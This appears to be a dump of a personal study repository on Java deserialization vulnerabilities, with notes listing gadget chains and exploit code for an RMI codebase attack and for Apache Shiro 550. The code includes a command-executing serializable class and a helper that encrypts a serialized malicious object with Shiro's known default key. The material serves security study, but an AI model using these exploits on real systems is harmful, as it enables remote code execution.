https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/FastJasonPOC/target/classes/User.class
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Java-deserialization-vulnerability
2 |
3 | Personal notes for Java Deserialization Vulnerability.
4 |
5 | 对应[Java反序列化漏洞利用链集合详解](https://leihehehe.github.io/2021/07/31/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8B%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E9%9B%86%E5%90%88-4/)
6 |
7 | 不定时更新、总结。
8 |
9 | 目前包含:
10 |
11 | - URLDNS
12 | - CommonsCollections 1
13 | - CommonsCollections 2
14 | - CommonsCollections 3
15 | - CommonsCollections 4
16 | - CommonsCollections 5
17 | - CommonsCollections 6
18 | - CommonsCollections 7
19 | - CommonsCollections 11
20 | - RMI Codebase远程命令攻击
21 | - Shiro550反序列化漏洞
22 | - Fastjson各版本反序列化漏洞系列
23 |
--------------------------------------------------------------------------------
/RMI_Codebase/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\RMI_Codebase\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/RMI_Codebase/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/RMI_Codebase/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/RMI_Codebase/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/RMI_Codebase/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/RMI_Codebase/RMI_Codebase.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/RMI_Codebase/out/production/RMI_Codebase/Calc.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/RMI_Codebase/out/production/RMI_Codebase/Calc.class
--------------------------------------------------------------------------------
/RMI_Codebase/out/production/RMI_Codebase/ICalc.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/RMI_Codebase/out/production/RMI_Codebase/ICalc.class
--------------------------------------------------------------------------------
/RMI_Codebase/out/production/RMI_Codebase/RMIClient$Payload.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/RMI_Codebase/out/production/RMI_Codebase/RMIClient$Payload.class
--------------------------------------------------------------------------------
/RMI_Codebase/out/production/RMI_Codebase/RMIClient.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/RMI_Codebase/out/production/RMI_Codebase/RMIClient.class
--------------------------------------------------------------------------------
/RMI_Codebase/out/production/RMI_Codebase/RemoteRMIServer.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/RMI_Codebase/out/production/RMI_Codebase/RemoteRMIServer.class
--------------------------------------------------------------------------------
/RMI_Codebase/out/production/RMI_Codebase/client.policy:
--------------------------------------------------------------------------------
1 | grant {
2 | permission java.security.AllPermission;
3 | };
--------------------------------------------------------------------------------
/RMI_Codebase/src/Calc.java:
--------------------------------------------------------------------------------
1 | import java.rmi.Remote;
2 | import java.rmi.RemoteException;
3 | import java.util.List;
4 | import java.rmi.server.UnicastRemoteObject;
5 | public class Calc extends UnicastRemoteObject implements ICalc {
6 | public Calc() throws RemoteException {}
7 | public Integer sum(List params) throws RemoteException {
8 | Integer sum = 0;
9 | for (Integer param : params) {
10 | sum += param;
11 | }
12 | return sum;
13 | }
14 | }
--------------------------------------------------------------------------------
/RMI_Codebase/src/ICalc.java:
--------------------------------------------------------------------------------
1 | import java.rmi.Remote;
2 | import java.rmi.RemoteException;
3 | import java.util.List;
4 | public interface ICalc extends Remote {
5 | public Integer sum(List params) throws RemoteException;
6 | }
--------------------------------------------------------------------------------
/RMI_Codebase/src/RMIClient.java:
--------------------------------------------------------------------------------
1 | import java.rmi.Naming;
2 | import java.util.List;
3 | import java.util.ArrayList;
4 | import java.io.Serializable;
5 | public class RMIClient implements Serializable {
6 |
7 | private static final long serialVersionUID = 1L;
8 |
9 | static {
10 | try{
11 | Runtime.getRuntime().exec("calc");
12 | } catch (Exception e){
13 | e.printStackTrace();
14 | }
15 | }
16 | public class Payload extends ArrayList {
17 |
18 | }
19 | public void lookup() throws Exception {
20 | if (System.getSecurityManager() == null) {
21 | System.out.println("setup SecurityManager");
22 | System.setSecurityManager(new SecurityManager());
23 | }
24 | ICalc r = (ICalc)
25 | Naming.lookup("rmi://127.0.0.1:1099/refObj");
26 | List li = new Payload();
27 | li.add(3);
28 | li.add(4);
29 | System.out.println(r.sum(li));
30 | }
31 | public static void main(String[] args) throws Exception {
32 | new RMIClient().lookup();
33 | }
34 | }
--------------------------------------------------------------------------------
/RMI_Codebase/src/RemoteRMIServer.java:
--------------------------------------------------------------------------------
1 | import java.rmi.Naming;
2 | import java.rmi.registry.LocateRegistry;
3 |
4 | public class RemoteRMIServer {
5 | private void start() throws Exception {
6 | if (System.getSecurityManager() == null) {
7 | System.out.println("setup SecurityManager");
8 | System.setSecurityManager(new SecurityManager());
9 | }
10 | Calc h = new Calc();
11 | LocateRegistry.createRegistry(1099);
12 | Naming.rebind("refObj", h);
13 | }
14 | public static void main(String[] args) throws Exception {
15 | new RemoteRMIServer().start();
16 | }
17 | }
--------------------------------------------------------------------------------
/RMI_Codebase/src/client.policy:
--------------------------------------------------------------------------------
1 | grant {
2 | permission java.security.AllPermission;
3 | };
--------------------------------------------------------------------------------
/URLDNS/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\URLDNS\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/URLDNS/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/URLDNS/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/URLDNS/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/URLDNS/URLDNS.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/URLDNS/out.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/URLDNS/out.bin
--------------------------------------------------------------------------------
/URLDNS/out/production/URLDNS/URLDNS.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/URLDNS/out/production/URLDNS/URLDNS.class
--------------------------------------------------------------------------------
/URLDNS/src/URLDNS.java:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/URLDNS/src/URLDNS.java
--------------------------------------------------------------------------------
/shiro550/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Datasource local storage ignored files
5 | /../../../../../../:\gitRepo\webSecurity\deserilize\shiro550\.idea/dataSources/
6 | /dataSources.local.xml
7 | # Editor-based HTTP Client requests
8 | /httpRequests/
9 |
--------------------------------------------------------------------------------
/shiro550/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/shiro550/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/shiro550/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/shiro550/out/production/shiro550/shiro550.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/leihehehe/Java-deserialization-vulnerability/40875e4c0b32404d5f10d21d5a9ffbfac1acad4d/shiro550/out/production/shiro550/shiro550.class
--------------------------------------------------------------------------------
/shiro550/shiro550.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/shiro550/src/shiro550.java:
--------------------------------------------------------------------------------
1 | import org.apache.shiro.codec.Base64;
2 | import org.apache.shiro.crypto.AesCipherService;
3 | import org.apache.shiro.util.ByteSource;
4 |
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.FileInputStream;
7 | import java.io.IOException;
8 |
9 | public class shiro550 {
10 | public static void main(String[] args) throws IOException {
11 | byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
12 |
13 | AesCipherService aesCipherService = new AesCipherService();
14 | byte[] evilObj = getSerializedObj();
15 |
16 | ByteSource finalsource = aesCipherService.encrypt(evilObj, DEFAULT_CIPHER_KEY_BYTES);
17 | System.out.println(finalsource.toString());
18 |
19 | }
20 | public static byte[] getSerializedObj() throws IOException {
21 |
22 | int n;
23 | FileInputStream fileInputStream = new FileInputStream("1.ser");
24 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
25 |
26 | while((n=fileInputStream.read())!=-1){
27 | byteArrayOutputStream.write(n);
28 | }
29 | return byteArrayOutputStream.toByteArray();
30 |
31 | }
32 | }
33 |
--------------------------------------------------------------------------------